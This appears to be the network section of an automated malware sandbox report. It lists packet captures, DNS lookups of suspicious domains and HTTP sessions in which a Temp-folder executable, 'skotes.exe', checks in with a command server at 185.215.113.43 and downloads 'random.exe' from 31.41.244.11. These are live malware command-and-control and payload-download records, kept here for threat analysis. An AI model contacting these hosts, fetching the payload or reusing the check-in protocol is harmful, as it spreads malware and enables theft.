Dec 20, 2024 21:13:49.039211988 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.039586067 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.039648056 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.039685011 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.039700985 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.039762974 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.039940119 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.040374994 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.040436983 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.040473938 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.040491104 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.040683985 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.040719986 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.041188002 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.041239023 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.041282892 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.041299105 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.041352987 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.041533947 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.042013884 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.042149067 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.042165041 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.042196989 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.042233944 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.042347908 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.042817116 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.042869091 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.042879105 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.042895079 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.042942047 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.043127060 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.043582916 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.043627977 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.043687105 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.043703079 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.043756962 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.043909073 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.044365883 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.044459105 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.044472933 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.044490099 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.044626951 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.044701099 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.045182943 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.045252085 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.045269012 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.045289993 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.045321941 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.045681000 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.045778036 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.045794010 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.045824051 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.046003103 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.046052933 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.046478033 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.046559095 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.046576023 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.046618938 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.046818018 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.046864033 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.047370911 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.047471046 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.047487974 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.047532082 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.047617912 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.047662020 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.048058987 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.048209906 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.048226118 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.048257113 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.048470020 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.048542023 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.048897982 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.048990011 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.049005985 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.049034119 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.049221992 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.049293995 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.049674034 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.049773932 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.049789906 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.049845934 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.049988985 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.050076962 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.050527096 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.050645113 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.050662041 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.050694942 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.050868988 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.050919056 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.051309109 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.051403999 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.051419020 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.051470041 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.051635981 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.051686049 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.052083015 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.052180052 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.052196980 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.052242994 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.052419901 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.052522898 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.052839994 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.052947998 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.052964926 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.053004980 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.053179026 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.053251028 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.053658009 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.053726912 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.053744078 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.053770065 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.054018021 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.054056883 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.054476976 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.054580927 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.054598093 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.054636955 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.054750919 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.054956913 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.055264950 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.055392981 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.055408955 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.055449009 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.055629969 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.055676937 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.056046963 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.056195021 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.056212902 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.056250095 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.056399107 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.056545973 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.056902885 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.057007074 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.057023048 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.057060957 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.057461977 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.057518005 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.057681084 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.057777882 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.057792902 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.057821989 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.057957888 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.058015108 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.058892012 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.058907986 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.058932066 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.059004068 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.059031010 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.059073925 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.059389114 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.059479952 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.059506893 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.059530020 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.059601068 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.059654951 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.060019016 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.060110092 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.060126066 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.060153961 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.060338974 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.060522079 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:49.060806990 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.060916901 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:49.060935020 CET	80	49944	185.121.15.192	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 21:13:34.022522926 CET	192.168.2.6	1.1.1.1	0x7086	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:13:34.022818089 CET	192.168.2.6	1.1.1.1	0xdba9	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 20, 2024 21:13:39.286355019 CET	192.168.2.6	1.1.1.1	0xe171	Standard query (0)	home.fivetk5ht.top	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:13:39.286472082 CET	192.168.2.6	1.1.1.1	0xe040	Standard query (0)	home.fivetk5ht.top	28	IN (0x0001)	false
Dec 20, 2024 21:13:43.809937000 CET	192.168.2.6	1.1.1.1	0x3d74	Standard query (0)	home.fivetk5ht.top	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:13:43.810045958 CET	192.168.2.6	1.1.1.1	0x6e8e	Standard query (0)	home.fivetk5ht.top	28	IN (0x0001)	false
Dec 20, 2024 21:13:45.358354092 CET	192.168.2.6	1.1.1.1	0xa50b	Standard query (0)	treehoneyi.click	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:13:53.513000011 CET	192.168.2.6	1.1.1.1	0x16af	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:13:56.216980934 CET	192.168.2.6	1.1.1.1	0x21ce	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:14:01.376451015 CET	192.168.2.6	1.1.1.1	0x482f	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:14:03.494491100 CET	192.168.2.6	1.1.1.1	0x757a	Standard query (0)	frostman.shop	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:14:08.382441044 CET	192.168.2.6	1.1.1.1	0xe18a	Standard query (0)	fivetk5ht.top	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:14:08.382517099 CET	192.168.2.6	1.1.1.1	0x9d6b	Standard query (0)	fivetk5ht.top	28	IN (0x0001)	false
Dec 20, 2024 21:14:12.103480101 CET	192.168.2.6	1.1.1.1	0x260c	Standard query (0)	fivetk5ht.top	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:14:12.103899002 CET	192.168.2.6	1.1.1.1	0x9543	Standard query (0)	fivetk5ht.top	28	IN (0x0001)	false
Dec 20, 2024 21:14:14.777590036 CET	192.168.2.6	1.1.1.1	0xcdd6	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:14:15.007025003 CET	192.168.2.6	1.1.1.1	0x993f	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:14:15.241138935 CET	192.168.2.6	1.1.1.1	0xf9e	Standard query (0)	discokeyus.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:14:16.188005924 CET	192.168.2.6	1.1.1.1	0x1ba9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:14:16.188235044 CET	192.168.2.6	1.1.1.1	0xaff8	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 20, 2024 21:14:19.106197119 CET	192.168.2.6	1.1.1.1	0xa6ad	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:14:19.106412888 CET	192.168.2.6	1.1.1.1	0x6185	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 21:12:04.142981052 CET	1.1.1.1	192.168.2.6	0xa014	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 21:12:04.142981052 CET	1.1.1.1	192.168.2.6	0xa014	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:13:20.148556948 CET	1.1.1.1	192.168.2.6	0x1d01	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 21:13:20.148556948 CET	1.1.1.1	192.168.2.6	0x1d01	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:13:20.148556948 CET	1.1.1.1	192.168.2.6	0x1d01	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:13:34.328496933 CET	1.1.1.1	192.168.2.6	0x7086	No error (0)	httpbin.org		34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:13:34.328496933 CET	1.1.1.1	192.168.2.6	0x7086	No error (0)	httpbin.org		98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:13:39.916722059 CET	1.1.1.1	192.168.2.6	0xe171	No error (0)	home.fivetk5ht.top		185.121.15.192	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:13:43.947498083 CET	1.1.1.1	192.168.2.6	0x3d74	No error (0)	home.fivetk5ht.top		185.121.15.192	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:13:45.672039032 CET	1.1.1.1	192.168.2.6	0xa50b	No error (0)	treehoneyi.click		104.21.91.209	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:13:45.672039032 CET	1.1.1.1	192.168.2.6	0xa50b	No error (0)	treehoneyi.click		172.67.180.113	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:13:53.649676085 CET	1.1.1.1	192.168.2.6	0x16af	No error (0)	github.com		20.233.83.145	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:13:56.354948044 CET	1.1.1.1	192.168.2.6	0x21ce	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:13:56.354948044 CET	1.1.1.1	192.168.2.6	0x21ce	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:13:56.354948044 CET	1.1.1.1	192.168.2.6	0x21ce	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:13:56.354948044 CET	1.1.1.1	192.168.2.6	0x21ce	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:14:01.513917923 CET	1.1.1.1	192.168.2.6	0x482f	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:14:03.724265099 CET	1.1.1.1	192.168.2.6	0x757a	No error (0)	frostman.shop		116.203.12.114	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:14:08.776694059 CET	1.1.1.1	192.168.2.6	0xe18a	No error (0)	fivetk5ht.top		185.121.15.192	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:14:12.242082119 CET	1.1.1.1	192.168.2.6	0x260c	No error (0)	fivetk5ht.top		185.121.15.192	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:14:15.000380039 CET	1.1.1.1	192.168.2.6	0xcdd6	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:14:15.228936911 CET	1.1.1.1	192.168.2.6	0x993f	Name error (3)	grannyejh.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:14:15.633729935 CET	1.1.1.1	192.168.2.6	0xf9e	No error (0)	discokeyus.lat		104.21.21.99	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:14:15.633729935 CET	1.1.1.1	192.168.2.6	0xf9e	No error (0)	discokeyus.lat		172.67.197.170	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:14:16.324702024 CET	1.1.1.1	192.168.2.6	0x1ba9	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 20, 2024 21:14:16.325191975 CET	1.1.1.1	192.168.2.6	0xaff8	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 20, 2024 21:14:19.243303061 CET	1.1.1.1	192.168.2.6	0x6185	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 20, 2024 21:14:19.243326902 CET	1.1.1.1	192.168.2.6	0xa6ad	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49836	185.215.113.43	80	5236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 21:13:05.068638086 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2024 21:13:06.416390896 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 20:13:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49845	185.215.113.43	80	5236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 21:13:08.047188044 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 37 32 45 37 36 42 37 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B72E76B75C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 20, 2024 21:13:09.424875021 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 20:13:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 34 33 0d 0a 20 3c 63 3e 31 30 31 38 38 32 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 39 36 61 38 30 35 31 34 35 62 30 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 38 38 32 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 36 37 65 38 30 35 35 34 35 62 30 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 31 38 38 32 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 37 37 30 39 33 34 35 34 31 62 66 35 64 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 38 38 32 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 [TRUNCATED] Data Ascii: 743 <c>1018821001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1018822001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1018823001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc770934541bf5dab5e45425197d1aa1daaa8#1018824001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc07e804d03ac52ea484b411b9dc4e1#1018825001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1018826001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1018827001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1018828001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1018829001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1018830001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1018831001+++b5937c1a99d5f9df0b5dafc850 [TRUNCATED]
Dec 20, 2024 21:13:09.424896002 CET	124	IN	Data Raw: 36 30 33 34 37 39 39 64 32 65 30 31 37 62 66 65 33 64 31 34 38 32 62 23 31 30 31 38 38 33 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 Data Ascii: 6034799d2e017bfe3d1482b#1018832001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1018
Dec 20, 2024 21:13:09.661990881 CET	690	IN	Data Raw: 38 33 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 63 32 62 63 34 31 33 31 66 65 61 30 33 62 32 31 39 31 30 30 Data Ascii: 833001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9c2bc4131fea03b219100362bde4b31591849a5536e6#1018834001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc7709c4543b01cf64d4a485a9592e100b7#1018835001+++b5937c1a99d5f9df0b5dafc8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49849	31.41.244.11	80	5236	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 21:13:09.790982008 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
